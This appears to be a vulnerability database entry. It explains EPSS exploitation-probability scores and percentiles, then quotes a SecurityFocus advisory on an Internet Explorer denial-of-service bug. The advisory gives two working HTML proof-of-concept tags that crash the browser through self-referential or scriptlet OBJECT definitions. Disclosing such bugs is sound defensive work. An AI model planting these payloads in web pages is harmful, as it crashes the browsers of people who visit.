EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/4564/info Microsoft Internet Explorer is vulnerable to a denial of service due to an error in handling certain self-referential <OBJECT> definitions in HTML documents. This occurs when an object of type "text/html" is specified, with the DATA field referencing the name of the HTML document in which it is defined. Other circumstances may also trigger this condition. Create a file named "CRASH.HTM" with the following line in it: <OBJECT DATA="CRASH.HTM" TYPE="text/html"></OBJECT> The following example was also submitted by Ryan Emerle: <object id="test" data="#" width="100%" height="100%" type="text/x-scriptlet" VIEWASTEXT></object>
